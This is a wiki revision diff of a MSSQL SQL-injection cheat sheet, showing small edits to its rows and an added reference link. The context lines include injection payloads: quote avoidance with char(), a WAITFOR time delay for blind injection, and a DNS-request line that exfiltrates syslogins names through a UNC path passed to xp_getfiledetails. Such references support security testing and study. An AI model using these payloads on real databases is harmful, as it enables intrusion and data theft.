Differences

This shows you the differences between two versions of the page.

--- hacking:sql_injection_cheat_sheet_mssql [2020/04/01 10:01] – peter
+++ hacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1
@@ Line 51: / Line 51: @@
 </code>|
 |ASCII Value -> Char|SELECT char(0x41) -- returns A|
-|Char -> ASCII Value|SELECT ascii('A') - returns 65|
+|Char -> ASCII Value|SELECT ascii('A') -- returns 65|
 |Casting|<code>
 SELECT CAST('1' as int);
@@ Line 61: / Line 61: @@
 |Avoiding Quotes|SELECT char(65)+char(66) -- returns AB|
 |Time Delay|WAITFOR DELAY '0:0:5' -- pause for 5 seconds|
-|xxx|<code>
--- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
--- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]]
-</code>|
 |Make DNS Requests|<code>
 declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000
@@ Line 99: / Line 95: @@
 tempdb
 </code>|
+----
+===== References =====
+https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql